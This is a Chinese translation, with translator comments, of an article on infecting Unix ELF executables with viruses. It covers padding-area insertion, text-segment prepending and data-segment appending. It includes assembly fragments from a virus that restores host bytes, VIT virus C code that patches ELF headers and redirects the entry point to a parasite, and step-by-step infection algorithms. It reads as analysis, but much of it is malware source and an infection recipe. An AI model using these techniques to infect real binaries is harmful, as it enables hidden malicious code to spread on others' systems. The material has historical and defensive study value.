leave_virus:
    call lvl1
lvl1:
    popl %ebx
    subl $5, %ebx

    pushl %edi
    pushl %esi

    movl $(END-before_end), %ecx    # number of bytes
    movl %ebx, %esi                 # from where ?
    addl $(before_end-leave_virus), %esi

    leal -1000(%ebp), %edi          # to where ?
    cld
    rep
    movsb

    popl %esi
    popl %edi

# OK, moved -- jump there

    leal -1000(%ebp), %eax
    pushl %eax
    ret

# construct "/proc//exe"

before_end:

.
.
.

# move original bytes from victim to memory so seek to end this position

    movl $LSEEK, %eax
    xorl %ecx, %ecx
    subl $(END-main), %ecx
    movl $SEEK_END, %edx
    int $0x80

# read in # bytes

    movl $READ, %eax
    leal -2000(%ebp), %ecx
    movl $(END-main), %edx
    int $0x80

#
    movl $CLOSE, %eax
    int $0x80

# move original bytes to memory


    leal -2000(%ebp), %esi
    movl $(END-main), %ecx
    rep
    movsb

# restore registers/flags

    movl %ebp, %esp
    popl %ebp
    popa
    popf
    ret

这种技术不是最理想的,原因在前面介绍过了,无法驻留内存。

VIT和Siilov病毒使用了位置无关代码,将病毒体放在宿主映像周边,可以驻留内存。
现在有三种选择,病毒体位于代码段前、数据段后、代码段和数据段中间的填充区。
数据段通常是不可执行的,然而某些操作系统和架构(比如Linux x86)上的数据段拥
有读写权限,潜在允许可执行。Siilov 和 mandragore 病毒就是在数据段中执行代
码的。

编写病毒体的时候应该避免使用动态库函数。对于ELF可执行文件来说,所有动态链
接函数在链接前都该是可知的,链接器将为之创建符号表、哈希表等等,以指明诸如
需要加载哪个动态链接库这类信息。可以使用已在使用中的动态符号而不必大动可执
行文件。然而,这意味着我们只能使用已在使用中函数调用。追加新的动态符号不是
不可能,但需要大动可执行文件,得不偿失。迄今为止,没见过哪个病毒追加新的动
态符号。

在现实中,为了获取位置无关代码PIC(Position Independent Code),可以用gcc
-fPIC进行编译。很多时候指定-fPIC是不足以达到目的的,此时需要程序员手工干预
(汇编语言)。

下例演示了位置无关代码

I386 Linux Position Independent Code (PIC)

/* gcc -Wall -g -ggdb -fPIC -o pictest pictest.c */
#include <stdio.h>
#include <unistd.h>

static char * hello ( void )
{
    asm
    ("
        call reloc             # 这种技术在MS-DOS实模式汇编中非常常见
    reloc:
        popl %eax
        addl $(data - reloc), %eax

        jmp leave

    data:
        .asciz \"Hello\\n\"    # 这里不能用.ascii,原作者有误

    leave:
        movl %eax, %ebx        # added by scz 2001-07-25 18:01
        # leave
        # ret
    ");
}

int main ( int argc, char * argv[] )
{
    write( STDOUT_FILENO, hello(), sizeof( "Hello\n" ) );
    return( 0 );
}

(gdb) disas hello
Dump of assembler code for function hello:
0x80483d0 <hello>:      push   %ebp
0x80483d1 <hello+1>:    mov    %esp,%ebp
0x80483d3 <hello+3>:    call   0x80483d8 <reloc>
0x80483d8 <reloc>:      pop    %eax
0x80483d9 <reloc+1>:    add    $0x8,%eax
0x80483de <reloc+6>:    jmp    0x80483e7 <leave>
0x80483e0 <data>:       dec    %eax
0x80483e1 <data+1>:     insb   (%dx),%es:(%edi)
0x80483e3 <data+3>:     insb   (%dx),%es:(%edi)
0x80483e4 <data+4>:     outsl  %ds:(%esi),(%dx)
0x80483e5 <data+5>:     or     (%eax),%al
0x80483e7 <leave>:      mov    %eax,%ebx
0x80483e9 <leave+2>:    leave
0x80483ea <leave+3>:    ret
End of assembler dump.
(gdb) x/s data
0x80483e0 <data>:        "Hello\n"
(gdb)

call指令导致eip被压栈,接下来的pop指令导致eip被弹栈,实际意味着call指令后
面的这个地址被放入eax寄存器,这是病毒的常用技术。Staog 和 mandragore 病毒
都是使用这种技术获取病毒运行时地址。必须注意,某些时候不只需要修改目标代码,
可能还需要修改其他节,比如PLT/GOT。

★ 换个角度看前面介绍的传染技术

前面介绍的传染技术中,病毒或者寄生虫总是占用了不少映像空间,传染后的文件大
小无法保持原大小,除非是覆盖式感染。

★ 利用节对齐的填充区进行传染

我们注意到,一个ELF二进制静态文件中某些节首部在做对齐处理,因此有可能扩展
相关节(比如前一个节)包含填充区。通常.rodata和.bss节首部对齐在32字节边界上。
.bss节无法利用,因为它不实际占用ELF二进制静态文件映像空间,.bss对应的数据
都是零,可以在加载时动态创建。.rodata节占用文件空间。.fini节位于.rodata节
之前,观察.fini节大小和文件偏移,会发现.rodata节首部大于.fini节尾部,这个
空挡是对齐后的填充区,可以为病毒体所用。通常这个对齐填充很小,平均16字节长。
虽然太小,但还是可以放下一些小函数,比如时间炸弹。

[scz@ /home/scz/src]> objdump -h /bin/ls

/bin/ls:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
13 .fini         0000001a  080508bc  080508bc  000088bc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .rodata       00002bf4  080508e0  080508e0  000088e0  2**5
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
[scz@ /home/scz/src]>

000088bc + 0000001a = 000088d6 < 000088e0

注意,objdump显示的最后一列指明了如何对齐,但并不是所有.rodata节首部都对齐
在32字节边界上。我们前面举的例子pictest,其.rodata节首部对齐在4字节边界上。

[scz@ /home/scz/src]> gcc -Wall -g -ggdb -fPIC -o pictest pictest.c
pictest.c: In function `hello':
pictest.c:24: warning: control reaches end of non-void function
[scz@ /home/scz/src]> strip pictest
[scz@ /home/scz/src]> objdump -h pictest

pictest:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
12 .fini         0000001a  0804844c  0804844c  0000044c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata       00000008  08048468  08048468  00000468  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
[scz@ /home/scz/src]>

★ 利用函数对齐的填充区进行传染

在许多架构中,函数首部也做对齐处理,尤其当gcc使用-O2及其以上优化开关的时候。
所以函数首部前面有部分填充区可利用。

还可以考虑压缩/解压技术。压缩宿主映像,多出来的空间植入病毒体或寄生虫。如
果还是小于原宿主大小,应该填充额外的空间以维持原大小。这种技术有个诀窍,确
保代码段和数据段至少和原宿主中的大小一致,因为解压后宿主必须位于它原有加载
地址上,注意,此时的宿主非可重定位或位置无关的了。

★ 利用填充区植入病毒

我们将在代码段尾部填充区或者代码段与数据段之间的填充区植入病毒体。乍看之下,
这两个区域是同一个,事实并非如此。a.out格式中,数据段从新的一页开始。ELF格
式中,数据段并不总是从新的一页开始,代码段也未必在页边界上结束。

让我们看看这个真实的ELF二进制文件

    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000b7cf memsz 0x0000b7cf flags r-x
    LOAD off    0x0000b7d0 vaddr 0x080547d0 paddr 0x080547d0 align 2**12
         filesz 0x00000250 memsz 0x000004dc flags rw-

在这个例子中,代码段到0x080537cf结束,数据段从0x080547d0开始。

填充区平均大小是半页,x86上一页是4096字节。VIT virus (Cesare 1998)演示了这
种技术。

对于a.out格式,我们只需简单地覆盖填充区并更新a.out头部信息。

    . 找出代码段和数据段之间填充区的起始偏移
    . 在填充区内以覆盖方式植入病毒
    . 更新a.out头部的a_text字段,增加病毒体的大小

对于ZMAGIC a.out格式,a_text给出了代码段填充区的文件偏移。

对于ELF格式处理类似。但有点区别,不再是覆盖填充区植入病毒,而是插入病毒体。
如果病毒体尺寸不是页大小(x86上是4KB)的整数倍,必须辅以填充使得插入部分是页
大小的整数倍。原因参看后面的讨论。(kick,这个Silvio Cesare的英文水平实在不
敢恭维)

    内存低址

           原始映像             修改后的映像

        [TTTTTTTTTTTTTTT]    [TTTTTTTTTTTTTTT]
        [TTTTTTTTPPPPPPP]    [TTTTTTTTVVVVVVV]
        [PPPPPPPPPPPPPPP]    [VVVVVVVVVVPPPPP]

        [PPPPDDDDDDDDDDD]    [PPPPPDDDDDDDDDD]
        [DDDDDDDDDDDDDDD]    [DDDDDDDDDDDDDDD]
        [DDDDDDDBBBBBBBB]    [DDDDDDDDBBBBBBB]

        [BBBBBBBPPPPPPPP]    [BBBBBBBBPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]

    内存高址

    关键字:

        T   代码段  (ro)
        D   数据段  (rw)
        B   BSS     (rw)
        V   病毒体  (ro)
        P   填充区

        三行[]代表一页内存

    * 为了简洁起见,这里没有标注栈区(stack)

在代码段尾部插入(不是覆盖)病毒体,后移静态文件插入点之后的部分。这改变了二
进制文件布局,必须修改ELF头部及相关辅助信息。

首先修改可加载段尺寸,使之包含病毒体部分。修改program header的p_filesz和
p_memsz成员。

任何出现在插入点之后的program header 和 section header 应该做相应修改以反
映新的位置。具体来说,分别修改p_offset和sh_offset成员。

为了在代码段尾部插入代码,需要按如下步骤做:

    . 修正ELF头部中的e_shoff成员(e_phoff位于插入点之前)
    . 定位代码段的program header
        . 修正其中的p_filesz成员
        . 修正其中的p_memsz成员
    . 循环处理位于插入点之后各段相应的program header
        . 修正其中的p_offset成员以反映新的位置
    . 循环处理位于插入点之后各节相应的section header
        . 修正其中的sh_offset成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)

修正ELF头部中e_shoff成员的原因在于section header table位于插入点之后,一般
来说,可执行文件中的section header table位于各段之后。

ELF规范中有如下要求

关键字:~= 表示同余

    p_vaddr ( mod PAGE_SIZE ) ~= p_offset ( mod PAGE_SIZE )

因此,最简单的方式是以页为单位插入,病毒体不足页的时候辅以填充。

为了适应这个ELF规范中的要求,插入病毒体的步骤修改如下:

    . 修正ELF头部中的e_shoff成员,以 PAGE_SIZE 为单位增加
    . 定位代码段的program header
        . 修正p_filesz成员
        . 修正p_memsz成员
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 以 PAGE_SIZE 为单位增加 p_offset 成员
    . 循环处理位于插入点之后各节相应的section header
        . 以 PAGE_SIZE 为单位增加 sh_offset 成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)
      同时注意新插入部分大小需要以 PAGE_SIZE 为单位填充补齐

现在宿主进程映像将真正包含病毒体,为了在宿主代码之前运行病毒体,需要修改
ELF文件入口点(entry point),然后从病毒体跳转回宿主代码。

新的入口点由代码段 p_vaddr + p_filesz () 确定。

    . 修正ELF头部中的e_shoff成员,以 PAGE_SIZE 为单位增加
    . 针对插入的寄生代码做修正,需要从病毒体跳转回宿主原始入口点
    . 定位代码段的program header
        . 修正ELF头部中的入口点,指向病毒体(p_vaddr + original p_filesz)
        . 修正p_filesz成员,增加病毒体大小(注意,这里不是增加页大小)
        . 修正p_memsz成员,增加病毒体大小(注意,这里不是增加页大小)
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 以 PAGE_SIZE 为单位增加 p_offset 成员
    . 循环处理位于插入点之后各节相应的section header
        . 以 PAGE_SIZE 为单位增加 sh_offset 成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)
      同时注意新插入部分大小需要以 PAGE_SIZE 为单位填充补齐

做了如上修改后,功能上已经完备,但是容易引起怀疑,因为代码段尾部的病毒体不
属于任何节。代码段最后一节看上去可疑。而且类似strip这样的应用程序,不使用
program header table,而只使用section header table,所以上述步骤还需要修改

    . 修正ELF头部中的e_shoff成员,以 PAGE_SIZE 为单位增加
    . 针对插入的寄生代码做修正,需要从病毒体跳转回宿主原始入口点
    . 定位代码段的program header
        . 修正ELF头部中的入口点,指向病毒体(p_vaddr + original p_filesz)
        . 修正p_filesz成员,增加病毒体大小(注意,这里不是增加页大小)
        . 修正p_memsz成员,增加病毒体大小(注意,这里不是增加页大小)
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 以 PAGE_SIZE 为单位增加 p_offset 成员
    . 处理代码段最后一节的section header,修正其sh_size成员增加病毒体大小
    . 循环处理位于插入点之后各节相应的section header
        . 以 PAGE_SIZE 为单位增加 sh_offset 成员
    . 在静态文件中物理插入病毒代码,插入点在
      text segment p_offset + p_filesz(original)
      同时注意新插入部分大小需要以 PAGE_SIZE 为单位填充补齐

注意前面介绍的,我们修正代码段program header的p_memsz成员,增加的大小不是
页尺寸,而是病毒体大小。增加页大小可能更好些。奇怪的是,strip这样的程序并
未处理在section header中无反映的填充数据(代码段中的),可能担心违背ELF规范
的要求

    p_vaddr ( mod PAGE_SIZE ) ~= p_offset ( mod PAGE_SIZE )

一个问题在于,植入病毒体后的程序入口点位于代码段尾部,而.init节并不是代码
段的最后一节,一般都是.fini节。病毒检测程序很容易利用这点(程序入口点不在
.init节)检测出病毒。病毒体所使用的数据要么在堆区动态分配,要么利用系统调用
使得代码段可写。

    译注:Silvio Cesare原文认为修改后的程序入口点典型地落入.rodata节,该节
          是数据段一个特殊节,用于存放只读数据。所以入口点位于该节时高度可
          疑,易于检测到。我对此表示怀疑。.rodata节位于插入点之后,应该是
          被物理移动并修正过sh_offset成员的。新入口点怎么可能落入.rodata节?
          应该是在代码段的最后节.fini中。可能这里我理解有误,回头来确认之。

下面来看现实中的VIT virus (Cesare 1998)

    /*
     * update the phdr's to reflect the extention of the text segment (to
     * allow virus insertion)
     */
    offset = 0;

    for ( phdr = ( Elf32_Phdr * )pdata, i = 0; i < ehdr.e_phnum; i++ )
    {
        if ( offset )
        {
            phdr->p_offset += PAGE_SIZE;
        }
        else if ( phdr->p_type == PT_LOAD && phdr->p_offset == 0 )
        {
            /* 是代码段?并非说此时p_offset必须是0,但通常是的 */
            int palen;

            if ( phdr->p_filesz != phdr->p_memsz )
            {
                goto error;
            }

            /* 新的程序入口点 entry point,也是原代码段尾部填充区位置 */
            evaddr = phdr->p_vaddr + phdr->p_filesz;
            /* 原代码段尾部填充大小 */
            palen  = PAGE_SIZE - ( evaddr & ( PAGE_SIZE - 1 ) );

            if ( palen < vlen )
            {
                goto error;
            }

            ehdr.e_entry    = evaddr + ventry;
            /* 既然phdr->p_offset为零,这里还有必要这样编码吗?*/
            offset          = phdr->p_offset + phdr->p_filesz;
            phdr->p_filesz += vlen;
            phdr->p_memsz  += vlen;
        }
        phdr++;
    }

    if ( offset == 0 )
    {
        goto error;
    }

    .
    .
    .

    /* update the shdr's to reflect the insertion of the parasite */
    for ( shdr = ( Elf32_Shdr * )sdata, i = 0; i < ehdr.e_shnum; i++ )
    {
        /* 位于插入点后的各节 */
        if ( shdr->sh_offset >= offset )
        {
            shdr->sh_offset += PAGE_SIZE;
        }
        /* 是代码段最后一节?*/
        else if ( shdr->sh_addr + shdr->sh_size == evaddr )
        {
            /* if its not strip safe then we cant use it */
            if ( shdr->sh_type != SHT_PROGBITS )
            {
                goto error;
            }
            shdr->sh_size += vlen;
        }
        shdr++;
    }
    /* update ehdr to reflect new offsets */
    oshoff = ehdr.e_shoff;
    if ( ehdr.e_shoff >= offset )
    {
        ehdr.e_shoff += PAGE_SIZE;
    }

★ 代码段传染技术

可以考虑在代码段前部植入病毒体,这样修改后的程序入口点依旧在代码段,而不是
数据段(译注:这里存在类似前面提到的疑问)。即使内核不允许数据段可执行也不影
响什么。内核有可能提供系统调用改变内存区域的属性,此时可在代码段放置小段代
码,完成对数据段可执行的设置,大段代码可以存放在数据段中。

对于a.out格式,我们无法利用代码段传染技术,因为它没有类似ELF格式的p_offset、
p_vaddr成员,一旦在代码段前部插入病毒体,原代码段中的绝对地址引用就出问题
了。

    内存低址

        原始映像             传染后的映像

                             [VVVVVVVVVVVVVVV]
                             [VVVVVVVVVVVVVVV]
                             [VVVVVPPPPPPPPPP]

        [TTTTTTTTTTTTTTT]    [TTTTTTTTTTTTTTT]
        [TTTTTTTTPPPPPPP]    [TTTTTTTTPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]

        [DDDDDDDDDDDDDDD]    [DDDDDDDDDDDDDDD]
        [DDDDDDDDDDDDDDD]    [DDDDDDDDDDDDDDD]
        [DDDDDDDBBBBBBBB]    [DDDDDDDDBBBBBBB]

        [BBBBBBBPPPPPPPP]    [BBBBBBBBPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]
        [PPPPPPPPPPPPPPP]    [PPPPPPPPPPPPPPP]

    内存高址

    关键字:

        T   代码段  (ro)
        D   数据段  (rw)
        B   BSS     (rw)
        V   病毒体  (ro)
        P   填充区

        三行[]代表内存的一页

    * 简洁起见,栈区未在图中标明

代码段传染技术简单地在可执行映像前面插入病毒体。注意,ELF头必须被拷贝到新
二进制文件的首部,ELF头总是先出现在二进制文件中的。program header并非必须
紧跟ELF头,只不过通常紧随ELF头比较好些。下面介绍的步骤中,未描述对section
header table的修改,真正实现的时候必须考虑。

    . 针对即将插入的寄生代码做修正,需要从病毒体跳转回宿主原始入口点
    . 定位代码段的program header,考虑前插代码,修正p_vaddr和p_paddr成员
    . For each phdr before the insertion (坦白地说,这里在干什么,没明白)
      decrease p_offset to reflect the new position after insertion
    . 循环处理位于插入点(代码段)之后各段相应的program header
        . 修正 p_offset 成员
    . 循环处理位于插入点之后各节相应的section header
        . 修正 sh_offset 成员
    . 将ELF头和program header table移动到新二进制文件的起始位置
    . 在静态文件中物理插入病毒体

类似前面介绍的填充区传染技术,到此为止没有一个section header反映病毒体的大
小,要么创建一个新节,要么扩展一个已存在节。创建新节很可疑,因为Unix下就那
么一些常见节,统一由编译器、链接器产生的。

观察一个典型二进制文件的section header table

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  080480d4  080480d4  000000d4  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .hash         000000c4  080480e8  080480e8  000000e8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .dynsym       000001e0  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .dynstr       000000fd  0804838c  0804838c  0000038c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .rel.got      00000008  0804848c  0804848c  0000048c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .rel.bss      00000008  08048494  08048494  00000494  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .rel.plt      00000080  0804849c  0804849c  0000049c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .init         0000002c  08048520  08048520  00000520  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  8 .plt          00000110  0804854c  0804854c  0000054c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  9 .text         00000688  08048660  08048660  00000660  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .fini         0000001c  08048cf0  08048cf0  00000cf0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .rodata       00000091  08048d0c  08048d0c  00000d0c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
12 .data         00000004  08049da0  08049da0  00000da0  2**2
                  CONTENTS, ALLOC, LOAD, DATA
13 .ctors        00000008  08049da4  08049da4  00000da4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
14 .dtors        00000008  08049dac  08049dac  00000dac  2**2
                  CONTENTS, ALLOC, LOAD, DATA
15 .got          00000050  08049db4  08049db4  00000db4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
16 .dynamic      00000088  08049e04  08049e04  00000e04  2**2
                  CONTENTS, ALLOC, LOAD, DATA
17 .bss          00000008  08049e8c  08049e8c  00000e8c  2**2
                  ALLOC
18 .comment      00000064  00000000  00000000  00000e8c  2**0
                  CONTENTS, READONLY
19 .note         00000064  00000064  00000064  00000ef0  2**0
                  CONTENTS, READONLY

象所有使用标准C库的程序一样,这个可执行程序的的入口点(entry point)位于
.init节。

    译注:下面这段文字实在无法理解,不知道这个破人到底在干什么。

A possible solution to the section problem is to simply move all sections
before the init section into the start of the new file. Then make the init
section cover everything up until the end of the original init. This
however, moves sections located by absoulte addresses in the text segment.
However, these are special sections used by the dynamic linker at runtime.
The dynamic information pointed at by both sections and program headers
must be modified to reflect the new position of these sections. Likewise,
the .init section can also be moved since it too is referenced by the
dynamic information. This section in general does not use absolute
references and does not reference any static data.

ELF TEXT INFECTION ALGORITHM

    * Patch the insertion code (parasite) to jump to the entry point
      (remember .init has moved) at parasite completion.
    * Locate the text segment
      Patch the segment to account for the prepended text (ie change
      p_vaddr and p_paddr)
    * For each phdr before the insertion
        * decrease p_offset to reflect the new position after insertion
    * 循环处理位于插入点(代码段)之后各段相应的program header
        * 修正 p_offset 成员
    * Patch the .text section to account for the new code
    * Locate the .dynamic section or segment
        * Locate and patch each entry used by the sections that have
          been relocated in the text segment
    * Physically insert the new code into the file

类似填充区传染技术,新增加部分以页尺寸为单位。

★ 数据段传染技术

mandragore virus 简单地将病毒体附加在二进制文件后面,然后修改了数据段的
program header,使之扩展到新的文件尾。注意,一个二进制文件的最后节通常都不
对应数据段的尾部,典型地是诸如.note、.comment 和 .shstrtab 节。而且section
header table 通常出现在数据段尾部。该技术可行,但这样一个二进制文件相当可
疑,覆盖了太多节,而且存在strip问题。

下面是一个被mandragore virus传染过的二进制文件

$ objdump --all-headers a.out

a.out:     file format elf32-i386
a.out
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0804ca30

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x000000c0 memsz 0x000000c0 flags r-x
  INTERP off    0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000313e memsz 0x0000313e flags r-x
    LOAD off    0x00003140 vaddr 0x0804c140 paddr 0x0804c140 align 2**12
         filesz 0x00000b8a memsz 0x000104bc flags rw-
DYNAMIC off    0x000032dc vaddr 0x0804c2dc paddr 0x0804c2dc align 2**2
         filesz 0x000000a0 memsz 0x000000a0 flags rw-
    NOTE off    0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2
         filesz 0x00000020 memsz 0x00000020 flags r--

.
.
.

Sections:
Idx Name          Size      VMA       LMA       File off  Algn

.
.
.

                  CONTENTS, ALLOC, LOAD, DATA
21 .bss          0001027c  0804c380  0804c380  00003380  2**5
                  ALLOC
22 .comment      0000014a  00000000  00000000  00003380  2**0
                  CONTENTS, READONLY
23 .note         00000078  0000014a  0000014a  000034ca  2**0
                  CONTENTS, READONLY

检查program header和section header,数据段并未在.bss节结束,覆盖了.comment
和.note节。.bss节太大了。.bss节和数据段不匹配。程序入口点不在代码段中。

mandragore 病毒未做的修改太多,需要改进。

(这个破人的英语太晦涩了,暂时不翻译后续部分了)
版权所有,未经许可,不得转载